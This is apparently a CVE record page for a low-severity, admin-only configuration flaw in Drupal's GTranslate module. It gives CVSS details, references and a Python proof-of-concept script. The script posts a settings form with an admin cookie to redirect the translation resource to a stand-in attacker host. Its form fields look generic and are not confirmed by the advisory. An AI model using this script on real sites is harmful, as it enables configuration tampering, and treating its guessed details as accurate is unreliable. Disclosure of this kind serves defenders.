CVE-2026-8492

Description

Modification of Assumed-Immutable Data (MAID) vulnerability in Drupal Translate Drupal with GTranslate allows Resource Location Spoofing. This issue affects Translate Drupal with GTranslate: from 0.0.0 before 3.0.5.

CVSS Details

CVSS Score

2.7

Severity

LOW

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Translate Drupal with GTranslate < 3.0.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# Proof of Concept for CVE-2026-8492
# This script demonstrates how a high-privileged user might
# modify the immutable data to spoof the resource location.

import requests

target_url = "http://example.com/admin/config/regional/gtranslate/settings"
# Malicious resource location to spoof the legitimate service
malicious_url = "http://attacker-controlled-site.com/fake-resource"

# Payload attempting to modify the assumed-immutable configuration
payload = {
    "gtranslate_api_key": "",
    "gtranslate_resource_url": malicious_url,
    "form_id": "gtranslate_admin_settings",
    "op": "Save configuration"
}

# Attacker needs to be authenticated with high privileges (PR:H)
cookies = {
    "SESSa1b2c3d4": "valid_admin_session_id_here"
}

headers = {
    "User-Agent": "Mozilla/5.0",
    "Content-Type": "application/x-www-form-urlencoded"
}

try:
    response = requests.post(target_url, data=payload, cookies=cookies, headers=headers)
    if response.status_code == 200 and "Configuration saved" in response.text:
        print("[+] Success: Configuration potentially modified.")
        print(f"[+] Resource location spoofed to: {malicious_url}")
    else:
        print("[-] Failed to modify configuration or invalid response.")
except Exception as e:
    print(f"Error: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-8492
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-8492
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-8492/
[4] VulDB https://vuldb.com/cve/CVE-2026-8492
[5] https://www.drupal.org/sa-contrib-2026-035

Raw JSON Data

JSON

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